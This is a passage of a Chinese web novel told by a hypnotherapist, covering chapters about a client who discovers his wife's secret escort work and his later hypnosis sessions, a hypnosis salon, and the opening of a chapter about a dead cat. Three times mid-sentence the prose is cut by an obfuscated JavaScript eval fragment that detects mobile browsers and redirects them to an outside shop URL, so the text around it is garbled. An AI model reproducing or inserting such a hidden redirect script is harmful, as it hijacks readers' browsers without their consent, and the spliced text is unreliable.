也许失眠让他的头脑有些昏沉,衣帽间里浮动着若隐若现的暗香,让他瞬间有种呼吸不畅的窒息感。 他愣了好一会,深深地吸了几下,看向尽头的第三面柜子,横着的是整面墙的宽度,只有这个柜是有一整排柜门的,白色的柜门幽幽泛着哑光,黑色的把手带着些许诱惑。 他走得有点急促,把大大的柜门拉开,映入眼帘是一排排手袋,摆得整整齐齐的,整整一面墙,整整好几层,在静静地散发着崭新华丽的气息。 只是手袋啊,他松了一口气,随即又有些疑惑。 他究竟在寻找什么? 藏在柜子里面的女巫还是男人? 脑子晕晕的有些空白又有些茫然,中间有一排扁长抽屉将上下柜子分成两半,他无意识的一只一只拉开看,看清里面的抽屉被分成了很多小小的格子,整整齐齐地摆着很多精致的首饰。 他又无意识地抬起头来盯着那排袋子,那些手袋异常的精致,各自散发着一股顶级奢华的气息。 全新,大部分标牌都没摘下来,他看向那些常出现在时尚杂志的Logo,他曾买过5、6只给太太,当时还笑着说,一只包包比咱们家保姆的一年工资还多。 他感觉自己的手有些颤抖,拉开手袋的拉链,里面有小票和保修卡,都是6位数以上,有几只7位数。 不知谁说过,奢侈品的价值在于保值能力和随时变现,它们在某种程度上是货币的另一种形式。 老高看着满柜子满格子来历不明的货币,有种极大的恐惧。 他了解自己,在别人眼中他算小有成就,寸土寸金的地段置办需要交豪宅税的房子,衣食无忧出入开车请得起保姆,可也就仅此而已,他不是富二代也没有深厚的背景。 他没有这么多的现金,大的投资在婚前砸在房产上给太太构筑一个舒服的爱巢,其他放在基金股票黄金理财什么的,保姆的工资是挂在他名下一间小公司开的,他给太太的是一张6位数的信用卡,每次消费都会发短信到手机上,太太的消费很普通,大都是美容美发超市之类的,很少有大笔的支出。 他也了解太太,普通家庭,大学毕业,兼职模特,婚前收入普通,婚后全职太太。 那张奇怪的OH卡牌面此时猝不及防地撞进他的脑海里,连带着失眠的昏沉在脑中像万花筒一样旋转着七彩余光。 他跪坐在柔软的地毯上,艰难地喘气,手里拿着一台放在柜子里关了的手机,长夜漫漫,有很多时间找到真相。 10. 失眠04 黑暗如野兽吞噬着熟睡的灵魂。 即使盖着被子也掩盖不了太太阿娜玲珑的身姿,秀发柔软地散落在床上,她睡得很好,甜美的睡颜像天使一样。 太太平时用的手机就在床边桌子上充电,而他像一个小偷,轻手轻脚地来了又走。 书房里,他忐忑不安地在电脑上输入各种指令,太太也许不知道,他在学生时代便是有名的黑客,只是黑客漂白了,忙着工作生活过世俗平凡的日子而已。 是不是每个人都有多重的身份? 他从来不知道太太还有个英文名叫Ada。 更可怕的是,这个Ada在某外网,某个秘密网站里是最受糖心爹地欢迎的艳丽女郎。 浓妆艳抹掩饰不了那熟悉的美丽容颜。 满屏都是晶莹白皙的大长腿,妖娆妩媚的身姿! Ada却独领风骚。 因为她有原则,只挑有缘人,不约会第二次。 不少人恋恋不舍,表示愿意用更高昂的价格请求再多一次陪伴。 美并不缺乏,缺的是个性。 一亲芳泽的价格很高昂,却有无数的雄性排队等待挑选,宛如蜂后。 约会的信息都是用衣帽间那部手机上,原本被删除得干干净净!他看着复原的信息,一大叠的化名,酒店名称,时间都极为清楚。 他抱着头,多日的失眠,一整晚的刺激,庞大数据的搜索,以及光怪陆离的真相,像无数把尖刀一起插向他的头颅。 每一根神经化做无数的丝线,被什么可怖的力量向四而八方拉扯着,撕裂着,绞扭着、噬咬着,剜割着……… 他不知道自己是什么时候失去了意识。 讽刺的是,最先发现他病了的是太太。 也许是寻手机来到了书房,发现了烧得满脸通红又迷迷糊糊的他。 作为太太的角色有时她还挺称职的,她安顿好他,给他喂药,喂小米粥,请病假等等。 即使她心知肚明他是因为什么生病了,她的手机连接了电脑,她的老公是位IT高手。 她有给他下毒吗?没有。 她有羞愧难当吗?没有。 她只是尽心尽力地照顾他,细心、沉默又温柔。 等他病好了,客客气气诚诚恳恳地提出了离婚,她愿意净身出户。 果断又迅速,只搬走了那如幻觉一样荒谬的衣帽间,留下莫名其妙的保姆,以及无知无畏的婴儿。 我一脸惊惧地听完这个恐怖版的《史密斯夫妇》故事,还是Bedending的,顿觉比见鬼还荒谬。 如若一个不相干的旁人都这么觉得,那么当事人又会有什么样的感受? 老高觉得自己就像《画皮》里面那位书生,死过了一回又被强行拉回一口气,工作是没有精力干了,只是强撑着照顾女儿,幸好女儿的确是自己的,否则他可能会像肥皂泡一样消失在最后一口气中。 “我觉得一切都是从你这里开始的。”他的眼里透着疲惫。 于苦楚之际,人心易寻他者之过,以慰己心之痛。 我不忍心反驳他。 “当时我的催眠指令是关于你失眠的原因,你说在催眠看到的是太太,那是否意味着你的潜意识早已觉察到什么?” 他揉了揉太阳穴,没有出声。 心理学认为,直觉跟我们的潜意识有关,它能够洞察事物的本质和内在联系,是一种无需经过大脑思考的智慧。 就像我失眠的原因是潜意识判定熟睡是危及生命的行为,于是失眠的症状就是为了自我保护,当直觉感到威胁,潜意识就会担起保护的责任。 “你现在失眠的症状好些了吗?” 他苦笑了一下:“用酒精来助睡,你觉得会好吗?” “那么你来仍然是想解决失眠问题吗?” “不,我想振作起来。” 他还有幼小的女儿需要养育,成年人的世界再悲苦也有期限,衣食住行各类名目费用,从不会因为伤春悲秋就会暂停。 老高不但仍失眠,还有心绞痛的症状,检查不出具体原因,医生建议他看心理科。 一个重大的负面事件,如灾难、战争、暴力、失业、离婚、亲人去世、遭受虐待或性侵等,都会引发深刻的心理痛苦。 没有处理的痛苦从来不会过去,它只会以暴露或隐蔽的方式存在,就像聂菁用幻觉隐藏起来的伤痛。 催眠是处理情绪的最佳方式。 “……放松,感受你觉得疼痛的地方,那是心脏对吗?你可以尝试和它对话,你觉得它在表达什么?” 经过好几周的咨询,我们已经建立比较好的信任关系,催眠比较顺利。 他躺在催眠椅上,手握着拳头:“恨,我好恨好恨,恨她欺骗,恨她无耻,恨她摧毁我的幸福,摧毁我的世界……” 未表达的恨意此时犹如出闸的洪水猛兽,要从刻骨铭心的胸腔中席卷而来。 那感觉汹涌得像是一团浓烈的黑影,周身被浓稠的墨汁浸染,压抑着说不出的仇恨与疯狂,长出弯弯利如尖刀的长角,向周围肆意横行,仿佛整个空间都被阴影笼罩。 恨是我一直难以理解的一种人类情绪,一个人恨另一个人的目的,是希望对方痛苦,但往往惩罚的却是自己。 为何毫无益处却又让人身不由己,拥有恨的人只要拿起了便不肯再放下,仿佛那是什么传世珍宝。 神话故事中,撒旦和魔王最爱收集凡人的恨意作为邪恶力量的源泉。 然只有一种东西能化解和对抗它。 “她的行为伤害了你。”我共情地道。 “是的,被背叛被欺骗,好像有刀在割我的肉在扎我的心,很痛啊,很痛啊……” 他的全身抖如筛糠。 “很痛,”我继续共情着。 “她不如把我杀死算了,她这是谋杀,她已经把原来的我杀死了,我的自尊我的自信,TMD……”他的手大力地锤着椅子扶手,撕心裂肺的叫喊着。 我从没见过一个男人如此的痛苦。 自信、自尊、掌控、力量……所有构成男性自我身份认同的元素被碾成一地的齑粉,又被无情地抛弃。 狂风卷起的怒浪冲向海岸吞噬一切,一次又一次,恨不得毁掉一切,礁石在颤抖,沙子被卷走,又被推回。 直到风慢慢地止息。 “感受你的身体,允许那些情绪流动,允许那些痛苦涌现,那种感觉可能会像翻腾不休的海浪,可能是惊心动魄的瀑布,可能是绵绵不绝的溪水,允许它,感受它……” 声音在特定频率下具有疗愈效果,催眠是一门综合声音、语言和心理的艺术,通常催眠师会使用一种游吟诗人一般的语调,以及有疗愈效果的语言,与来访者的心理和生理节律产生共振,从而帮助缓解压力、改善情绪、促进放松和恢复健康。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826331|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老高像枯黄了一个冬季的植物,在一段时间持续浇水和阳光下终于缓慢活过来。 他现在发展了一个新的爱好,不做催眠时也喜欢躺在催眠椅闭眼聊天,可以休息可以咨询说不定还能进入潜意识,简直一举三得。 “你听过空船理论吗?” 他闭着眼点点头,很放松又专业地道:“商业管理常常会用到,提醒决策者摆脱个人偏见和固有思维的束缚,从多个角度审视问题,考虑各种可能的因素,从而做出更加全面、准确的判断。” “这个理论是让管理者避免情绪化,强调以平和的心态面对各种情况。” 他即便闭着眼睛,也能快速清晰无比的讲解。 空船理论是庄子一个非常有启发的哲学故事,一个人乘船渡河时,一只船向他冲过来,开始他大声呼喊并愤怒地指责对方。然而,当他发现撞过来的竟是一只空船时,他的怒气顿时消失。 “我想用心理学重新解读这个故事。”我坐在他左侧,用一种催眠的语气缓缓道。 “渡河人看到一只船撞过来,他之所以如此愤怒,是在潜意识中假定了对面的船有人且是故意针对的对吗?” 老高很放松地躺着,神情没有之前那种愤世嫉俗,他点点头。 “所以,你上次说对太太仍放不下最后一丝恨意,你的潜意识假定了什么?” 他神情一怔,却没有睁开眼睛。 “你假定了她是故意的,你假定她贪慕虚荣,假定她本身是个坏坯之类的……” “不然呢?”他有点僵硬,手指用力抓住椅子扶手。 “我无法了解你的太太,但如果她是空船呢?” “什么意思?” “这里的空船我理解为一种无意识,比如她的行为不是出自她真正的想法呢?” “我还是没听懂。” “换一种说法,假如她是被逼,假如她有苦衷,假如她被控制,你还会这么恨吗?” “如果她有苦衷为什么不跟我说?” “假设她的苦衷就是不能跟你说,我这里说的全部都是假设,假设她是空船状态,你针对这个空船会如何反应?你的情绪和你的感觉,以及你的想法会不会改变?” 他沉默了好久,才缓缓的点头。 “也就是说,当你换了一种全新的视角去看待同样的问题,事情本身虽然没有改变,但你的感觉却改变了,你不会被困在受害者的角色里,便有了能力从受限当中跳出来。” 如果没有之前在催眠中释放了诸多的负面情绪作为前提,我这段话效果基本等同于看了一个不痛不痒的鸡汤视频,无法真正深入潜意识引发共鸣。 水到渠成在于水积蓄到了一个临界点。 “你锁住的是自己,成为恨的囚徒,这瓦解了时间的感知,活在过去与现在的夹缝中,但现在你有重新构造你故事的能力……现在你愿意放下最后那一点恨了吗?你愿意真正原谅她了吗……” 他的声音有些迟缓,也有些迷茫,但最后还是答道:“我愿意原谅她。” 这是一句奇妙的魔咒,那些激荡在胸口的闷痛也随之消融,老高称在那美妙瞬间甚至看到了蓝色的星光,就像身在广袤草原下无拘无束的风。 这个场景同步在我的脑海中闪现,尽管只有短短那么一瞬间,却见微知著地让人向往心灵深处更辽阔的自由。 这是对于自性惊鸿一瞥的魅力! 11. 失眠05 案子挺顺利,不过我最近却有些发愁。 工作室开了三个月,我发觉刨去昂贵的房租成本和我的基本工资外没什么盈利。 看来做一个独立工作室不是一件容易的事,尽管莎莎投资的资金还有一大半,但总不能一直靠这个支撑。 我知道原因是来访者太少了,自己没什么名气,又没什么宣传渠道,光靠朋友介绍毕竟很有限。 我跑到一个比如偏心理学的知名app上逛论坛,发现还有一个原因是,很多人对催眠有很多误解,提的问题大多是: 催眠会不会控制人? 被催眠时,会担心催眠师让你讲出银行密码之类的秘密吗? 深度催眠的时候,催眠师让你做一些不道德的事怎么办? 原来这么多人对催眠有误解,我只好一个一个帖子地回答。 催眠师无法控制人,因为催眠的时候来访者是清醒的。 催眠师也不会随便问银行密码或隐私之类的,因为催眠最开始的功能便是用来治疗身心的疾病。 它有点类似古代的祝由术。 18世纪奥地利医生弗朗茨用无意间使患者进入恍惚状态,发现在这个状态下身心疾病容易得到好转,是现代催眠术的雏形。 19世纪有医生用其麻醉止痛,无痛分娩等。 20世纪出了两位心理学界大佬:弗洛伊德和艾瑞克森。 前者从催眠中延伸出“自由联想技术”和潜意识的研究,而后者开创“策略性催眠疗法”,使其成为临床心理治疗的常用工具。 写着写着我突然福至心灵,干脆办一个小型沙龙,拓展一下工作室人气,解决来访者太少的困境。 什么是潜意识吸引力法则? 想了半天,也写不出什么噱头,只好老老实实写几个针对性的问题。 认识什么是催眠,催眠有什么作用?通过催眠可以改变潜意识吗?潜意识的吸引力法则是什么? 我看了一下自己写的沙龙介绍,觉得这么冷门,也不知道会不会有人来,干脆就把地址定在工作室,免得又要额外支付其他的场地费。 不过出乎意料的是,还挺多人颇感兴趣私信询问,后来到会的人竟也有十一人。 只有一房一厅的面积,小厅显然装不下这么多人,幸好还有一个户外的小院子,于是临时到隔壁的咖啡店借了凳子,东拼西凑的塑料凳子,简陋的围成一个高低错落的半扇形。 所幸都是一些无拘无束,爱好广泛的年轻的姑娘:塔罗牌、占星、占卜、禅舞,萨满……还有一些闻所未闻的疗愈方式。 我内心暗暗地感慨,新一代人的思想真是意识超前海纳百川。 “我们轻松点吧,你们感兴趣什么就提问好了。” 一位皮肤白皙有些矮胖的年轻姑娘问:“催眠真的有电影上那么神奇吗?” “如果电影上的催眠指的是操控这种神奇,我认为很难做到,但是催眠的确有它非常神奇的地方。” “电影有可能是一种艺术加工,但催眠大师艾瑞克森的例子却是真实的。他在17岁时因小儿麻痹症全身瘫痪,除眼球外无法动弹,医生预言他活不下来。这些症状即使到现在仍然是个医学难题,但他用催眠奇迹般地治好了自己,并行动自如活到了70多岁。” 有第一次了解的人发出小小的惊叹。 “他患有色盲、音盲和阅读障碍,这些看起来很难解决的问题,也被他用催眠使阻碍变成了对世界独特的感知。所以如果从自我探索来说,催眠的确是一个很神奇的工具。” 真实的故事让心灵产生强烈的共振,年轻的参会者们互相交头接耳。 又有一位穿着白色禅服的姑娘问:“听起来很神奇,但到底是什么原理呢?难道像祝由术那样吗?” “我不太了解祝由术,只大概知道祝由术是通过祷告使神秘的事情发生。确切地来说,并不是催眠神奇,而是潜意识神奇,催眠只是用来沟通潜意识的桥梁。” 潜意识是我们内在意识的一部分,如果我们认为它过于神奇的话,是不是也意味着我们从来就不曾认识真正的自己? 这就要到一个终极的问题:我是谁? “我是谁?” 这个问题我是从很小的时候就开始困扰我。 第一次问出这个问题,还是在一座白色破败的教学楼顶,两位四年级的小女生才刚刚开始萌芽独立的意识,总想和彼此交换对世界的看法,例如谁和谁玩,谁谁谁最讨人厌…… 可是我那刚刚学会独立思考的大脑,却像不知被谁调错了接收的频道,被来自宇宙深处的想法撞击:我是谁?我为什么来到这个世界上? 我对着同班好友一脸严肃地询问,她柔嫩的脸上是婴儿肥般的稚气,瞪着一双未完全成形的双眼皮,白痴一样看着我,好像我说的是一门听不懂的外星语言。 有的人一生中从来不曾思考过这两个问题,而有的人又过早地被这个问题拷问灵魂,以致无法成为一头快乐的猪。 不过并不是所有的人都对这个问题感兴趣。 一位穿碎花连衣裙的女子打断:“老师,这有点深奥了,我感兴趣的是怎么用潜意识吸引喜欢的人?催眠中能不能看到我的灵魂伴侣?” 其他女孩子都嘻嘻笑闹起来,显然对这样的话题更感兴趣。 正在这时,有个人影走近朝我招了招手,我抬眼望去,老高从树荫下细碎的阳光里走出来,他今天穿着一件简约的白色衬衫,一条笔挺合身的黑色西裤,又瘦又高配上清爽的头发,显得比平时多了几分英朗潇洒,和咨询室坐着矮半截的那个阴郁男人判若两人。 他言简意赅地打了声招呼:“吃饭,路过。”,然后冲各位回头打量他的美女们礼貌点点头便离开了。 园区之所以成为这个区域的网红打卡点,除了别具一格的氛围,还有不少备受好评的餐馆,不少人会特意跑来这边吃饭,所以见到他我也不觉得奇怪。不过那些餐馆都是靠马路最外围地方,因此园内仍能保持沉静的氛围感。 碎花裙望着他的背影好一会才回头问:“老师,我觉得挺神奇。我刚刚问完这个问题就见到这么一个帅哥,这是不是说明上天注定?” 我被现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826332|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代女孩的大胆而热烈而深感钦佩。 “佛说,前世五百年的回眸,才换来今生的擦肩而过,我们在这里遇见都是缘分。”我打着哈哈。 这个话题显然比催眠更有吸引力,对于处在恋爱憧憬的女孩来说,缘分永远具有神秘吸引力的话题。 “把你的出生年月报上来看看,帮你占卜一下你会遇见什么样的真命天子。” 一位玩占卜的女孩对碎花裙说,结果所有的女孩都围上去,热烈地讨论着自己的性格,星座对标的恋爱对象。 我从演讲者变成了倾听者,不过这样的结果也挺有意思的。 最后结束时,女孩们才意犹未尽道:“老师,集体催眠一下嘛,让我们快点遇到灵魂伴侣。” 我好笑地觉得自己没有成为一个邪恶魔术师,倒是不小心在红娘路上狂奔。 “我那天其实也想来听听你的沙龙,不过看到都是小孩子。”老高说。 我有些惊讶:“你应该很了解催眠是怎么回事了吧。” “我想了解一下关于潜意识的吸引力。”他说。 “虽然我已经原谅了,但当我闲下来会想一个问题,为什么是我遇到这样的事,为什么会遇到她?为什么会有这样一段孽缘?” “有一次我看到一则佛教小故事,说一位书生失恋非常的痛苦,于是他去找一位大师求解,大师带他在前世找到了原因,原来他的恋人在上一世是一名溺亡女子,当时她一丝不挂的躺在沙滩。第一个路人只看了女子一眼便走开了,第二个路人看到女子后,脱下自己的衣服给女子盖上然后走开了,只有第三个路人看到女子后,在沙滩上挖了个坑把女子埋了。书生是第二位路人,女子因一衣之缘来还他一段情,但第三个路人才是女子的真命天子。” “这个故事给我带来了一些思考,我和她之间是否也有不为人知的羁绊?” 我想了一会:“这个问题挺深奥的,因为你我都没有办法直接看到答案,因果的理论在一定程度上能让人感到释怀,但它充满了宿命论,并且你要十分相信这个理论。” 他显然没有,否则他不会仍存有疑问。 “我之所以更喜欢潜意识心理学,是因为它更像解剖学,解剖学和心理学其实很相像,不过一个针对物理,一个针对精神。” 千娇百媚的色相皮囊在解剖者看来不过是一堆炭基材料,心肝脾肺肾形状功能基本相同; 一见钟情的爱情故事在心理学被认为本质是同病相怜,所谓命中注定的相遇,实则是潜意识里创伤记忆的精准匹配。 创伤共鸣构成的情感引力,比任何理性考量都更具支配力。日本心理学家岸见一郎所言:“我们爱上的不是某个具体的人,而是对方身上自己未愈合的伤口。” “其实我对发生在你身上的事一直有一个疑问:你和她一起这么久,作为夫妻这么亲密的关系,她的问题在你走进衣帽间之前真的没有一点觉察吗?” 他陷入了一阵沉默。 当然有的,从热恋到结婚的时候一切都还很正常。 从什么时候开始有种不舒服的感觉? 12. 失眠06 太太生完孩子后,有一段时间闷闷不乐,她不像别的母亲一样,对于新生命有一种热烈的喜爱。 老高觉得她有点冷漠,不肯喂奶,不肯哄睡,也不怎么逗孩子玩,孩子都是保姆24小时贴身带着。 可能有点不适应,老高心想,也许过一段时间就会好了。 可是她后来就越来越过分了,经常一出去就是大半天。 回来说美容美发逛街或约了闺蜜。 孩子一天一天地和保姆更亲密,见到爸爸时会喜笑颜开,张开小手臂尽力扑过来,见到母亲却没有什么热烈的表情。 婴儿感觉都是灵敏的,她好像知道母亲天生不怎么爱她。 再到后来,太太会常常找不到人,他在公司里开着紧急的战略会议,却会接到更紧急的电话:宝宝发烧了,找不到太太,宝宝呕吐了,找不到太太…… 那种不舒服的感觉日渐增加,再加上工作的压力等等,让他在深夜里辗转难眠。 白日的忙碌退去,夜晚是潜意识的主场。 “你对她的行为有不满和疑问时,有试过沟通吗?” 他垂下眼帘,用沉默回答了我的问题。 他的潜意识直觉一定知道些什么,却刻意选择回避,直到在我这里抽中了三张卡牌以及催眠中潜意识的提醒。 我记得他当时那种十分抗拒的表情。 “一个亲密的枕边人,完全察觉不了身边人藏着的大秘密,这显然是很不寻常的。” 直觉是人的本能,特别在亲密关系中,潜意识的敏锐在意识之前就能捕捉到很多不寻常的细节。 比如离了婚的父母在孩子面前装恩爱,得了绝症或重病的人在家庭成员前装无事,这种欺骗往往是自欺欺人,不对劲的感觉不需要语言就能从各种细节中捕捉。 除非刻意屏蔽和逃避。 “为什么呢?一个成年人是有力量面对欺骗的,只有孩子在此面前惊皇失措!如果你觉察这件事,会让你想起什么吗”我的声音轻柔了下来。 风轻轻鼓动着薄薄的白色绣花帘纱,如在秋风里一片惊慌逃跑的叶子。 老高照例躺在催眠椅上,他闭起了眼睛,不安地挪动了一下身体。 “你很放松,很放松……有时记忆和梦没有太大的区别,它只是一些影像,画面,你在里面付出了情感,凝结了情绪,它被你埋藏在深层的潜意识里,被你丢弃,被你紧锁,但你现在要找回来,不用害怕,面对它……” 他在放松中抗拒,又在抗拒中被我的低语慢慢放松。 “一个男孩……”他说,放在扶手的一根手指神经质地动了一下。 “嗯,一个男孩。”我示意他把画面稳定下来。 一个天真烂漫的小男孩,还处在脚上装弹簧,走路带着风,爱耍小聪明,随时把自己变成一颗小炮弹向宇宙发射的年纪。 可能是小学三年级吧,他不太记得了,只记得那天学校集体接种疫苗,他拨开所有的同学冲到前面最先完成,趁着看门的老头装热水,他偷偷地从校门溜回家里,剩下三节课的充足玩乐时间。 他知道这个时间点父母都不在家,母亲开一间小小的理发店,父亲在水厂单位上班,下了班也不会马上回家,天天和一帮猪朋狗友喝得醉醺醺的才回来,这是他母亲的原话。 他和母亲很亲近,母亲皮肤像白瓷一样干净漂亮,一双杏眼笑起来弯弯的,常常穿一身简约的旗袍,曲线玲珑得好像没生过孩子一样,所以她的理发店生意很好也很忙碌。 那天他在家正在用力撬开一个装零钱的铁盒,盒子有点生锈盖子相互之间咬得死紧,正在满头大汗之际,忽然听到门锁有轻微的拧动声,他连忙抱着铁盒躲进旁边厚厚的窗帘里,窗帘和角落形成一个小三角形的空间,刚好能完全掩住他未发育的身形。 他不知道谁会在这个时间点回来,父亲会不由分说地揍他一顿,母亲通常只会摸摸他的头笑笑,如果是母亲他就从窗帘后面出来。 他想象着自己从窗帘后面跳出来时,母亲被他吓一大跳的情景,有种偷偷的兴奋。 但门口传来似乎有两个不同的凌乱脚步,然后有一种奇异的喘息声传入他的耳边,似痛苦又似欢愉,他是个毛还没长全的小崽子,懵懵懂懂的却有一种奇异的直觉,告诉他不能在此时被人发现。 他忘了自己躲起来有多久,直到门又重新关上空无一人,直到光影西斜腿脚麻木,他也忘了本来要拿零用钱和小伙伴出去买弹珠。 他空空的脑袋想不出什么,也不敢细想,他始终没搞清楚那天下午的声音是不是出于他的想象。 日升日落悄无声息,父亲仍然每天醉得不省人事才回来。 直到有一天,母亲突然消失了。 那天早上,上学的时候母亲突然温柔地抱了他很久,身上有柔软的触感,鼻子残留着洗发水的味道,她笑着摸摸他的脸,还给他塞了好多钱,让他记得买好吃的。 他傍晚回来,没等到母亲的热饭,去理发店,一把大锁孤零零地挂着,他在整个镇上到处找母亲,只找到一边在喝酒一边吹牛的父亲。 一天、二天、三天……,理发店的门锁一直没动,有些很久不来的熟客走到门前面色疑惑:“怎么了?这是不干了?” “跟人跑了呗!生得那么好看,不知多少人惦记着!”隔壁老板娘嗑着瓜子压低声音,没有看到在阴影里等待的小孩。 直到理发店门上贴着转让的字样,直到那间店变成了卖成衣的铺子,母亲再也没回来。 奶奶从乡下过来照顾他,骂人、聒噪,父亲喝酒变本加厉,他却日渐沉默,发愤图强,考进大学,渐渐忘了过去,进入风口行业,成了一个别人眼中的行业新贵。 他手抖得厉害,一部分皮肉成长活到了现在,一部分还在那个男孩的身体里。 他一见钟情心跳的那一刻,到底是看到了太太,还是在潜意识中嗅到了伤痕累累的“血腥味?”,他到底走向的是爱情还是创伤? 这种强迫性重复不是愚蠢,而是潜意识试图通过重现创伤场景来完成自我治愈的可悲努力。 “放松,让呼吸进入你的每一块肌肉,每一个细胞……你进入小男孩的身体,你在感受这个感觉,你可以大声说出来……” 仍然是男孩的那部分身体在颤抖,如婴儿一般蜷曲着身体,惊慌失措又无助。 “……回到现在,你不是那个无能为力的小男孩,你已经成长了,你有足够的智慧……” 这样浓烈惨痛的心结,当然不是只凭一两次催眠就能完全解开的。 阿德勒曾说:“幸福的童年可以治愈一生,不幸的童年要用一生去治愈。” 这句话看起来有些悲观,但其实阿德勒本身和艾瑞克森一样,将缺陷转化为优势,将限制转化为资源。 阿德勒有一个自卑且脆弱的童年,他幼年患有佝偻病,行动迟缓且体弱,因身体缺陷被同伴嘲笑,因数学成绩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826333|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垫底被老师断言“只适合当鞋匠”。 他治愈自己一生的过程,也是他自我超越的过程,因此他写下了在成长中具有卓越洞察力的《自卑与超越》。敢于直面自己伤口的人,往往具备了非凡的勇气。 伤口终会结痂好转,男孩也终将会长大,成为为他人遮风挡雨的大树。这只是需要一个自我疗愈自我转化的过程。 李梨时不时会在微信单方面跟我八卦,有次神经兮兮说:“我那领导又回来集团公司了,不过现在负责另一个项目,跟我们不同部门了。” “现在脸色看起来好多了,是不是失眠好了?是不是你治的?” “我跟他现在手下八了一下,居然没有周扒皮虐人的习惯,这世界太不公平了,凭啥他们就有这么好的待遇,我要控诉,我要造反,只有新人笑不管旧人哭!” 我被她不伦不类的形容搞得哭笑不得,下载了一堆贱兮兮长耳兔的表情包,时不时回复一张表情图,表示我收到了,有认真在听。 紫霞仙子们活泼开朗,像明媚的阳光驱赶失去白晶晶的阴霾。 白晶晶是《大话西游》的白骨精,外貌娇艳美丽,率真可爱,是至尊宝的最初的白月光,但美艳的外表在照妖镜下,却是一个面目狰狞的可怕鬼怪相。 人们喜欢美丽的外表而害怕丑陋的白骨,没有人愿意深究,到底是什么让本是美艳女郎的白晶晶变成一只可怕的鬼怪?就像常态心理向变态心理转化的过程,总有一些特殊的原因和际遇。 也许是因为老高的治疗接近尾声,我的感慨有点多,常常会想起他那当断即断一言不发潇洒离开的前任太太,据说她一直没有联系老高,也没有回来看望孩子。 但我没想到有一天我真的会见到她,并且听到一个更加奇幻的故事,不过这都是后话了。 候鸟在旧檐角抖落羽毛,雏鸟在春风里笨拙展翅。 一个宛如精致洋娃娃的小娃娃跌跌撞撞地向前跑着,肉乎乎的小手捏着一条向上飘荡的线,上面系着一只比她还胖的Hellokitty粉色氢气球。 她口齿不清地大叫着:“爸爸爸爸。”,还离好几米远就张开了手臂宛如乳燕投林,却一不留神让气球线从她手中飘走,保姆跟在其后抢救不得,只好跺着脚干着急。 气球晃晃悠悠轻轻飘飘地向上飞去,越过树梢越来越高直到变成天空中一个小点。 小娃娃停了下来,仰起一张肉得让人想捏一把的婴儿脸,呆呆地望着天空久久不语,直到知道气球再也不会回来,顶着一张将来会颠倒众生的脸,泫然欲泣的控诉道:“飞走了,要回来。” 才两岁多的娃娃,说话大概主谓宾还未用得全,短句缺头少尾,可是谁都知道他们在说什么,人最初的时候大概不需要语言,只看到一个微表情便知道彼此的想法。 刚刚做完咨询被我送出门的老高大步走了过去,弯下腰张开双手把小天使抱在怀里哄道:“爸爸买个更漂亮的。” 小天使展颜一笑,仿佛露珠在黎明前赎回所有晨光,周围无论有多少阴霾,也会被这小小的光点照亮。 谁会不爱这小小的生命呢?那代表着爱和希望。 我甚至感激李旭母亲体面式的暗流涌动,生活像一只六面六色的魔方,每个人都有权利以其喜欢的方式扭动,组合成自己偏好的样子。 飞走了的气球在蓝天中得到自由,拽在手里的将会有新的替代。 每个人最终都会得偿所愿。 13. 杀猫01 一只几乎不成形的小动物,带着一种触目惊心的破碎感,僵硬地被扔在细丝隔底层,依稀看到是一只猫的轮廓。 这是一只分隔为两层的白色细铁丝笼子,下层铺着垫子和动物图案的吸水纸,上面歪歪斜斜放着一只小食盘,盘里干干净净没有食物。 食盘旁边是一堆污渍,黑黑有些凝固伴随着白色的动物毛发,粘在纸上看起来有点恶心。 猫的身体有些地方是黑色凝固卷着一团毛发,有些地方是一小片光秃秃没有毛,三角瓣形的嘴巴也全被黑色凝固物弄得很脏。 没有任何生命气息。 我之所以看得这么清晰,是因为拍视频的人靠得很近,而且360度无遮挡地展现。 我一阵生理性地厌恶。 死亡总是让人感到不愉快,何况是这种血肉模糊的。而这样的死亡,会让人产生许多不好的联想。 这只小生灵死前经历了什么? 是谁会做这样残忍可怕的事情? 这段视频,来自一个陌生人。 我有两个微信号,一个微信号是只加亲朋好友,一个微信号是工作专用,给来访者或有咨询意向的陌生人,这个工作号在论坛或社交媒体上都有留存,因此什么样的人都可能有。 我心想,这不会是个变态吧?特意发给我看的? 我有点想拉黑,又看到上面的留言说咨询求助。 求助什么呢?留言者并没有说清楚。我顿了一顿,心想还是过几天再删吧。 过了几天,又发了一段视频给我,我还没有点开,先看到一堆留言。 这个微信号名叫云淡风轻地解释道,她不太会下载视频,托人用了几天才把视频在物管那里下载下来剪拼好。 我打开一分多钟的视频,有些地方看起来太不清晰,像是小区的监控摄像头。 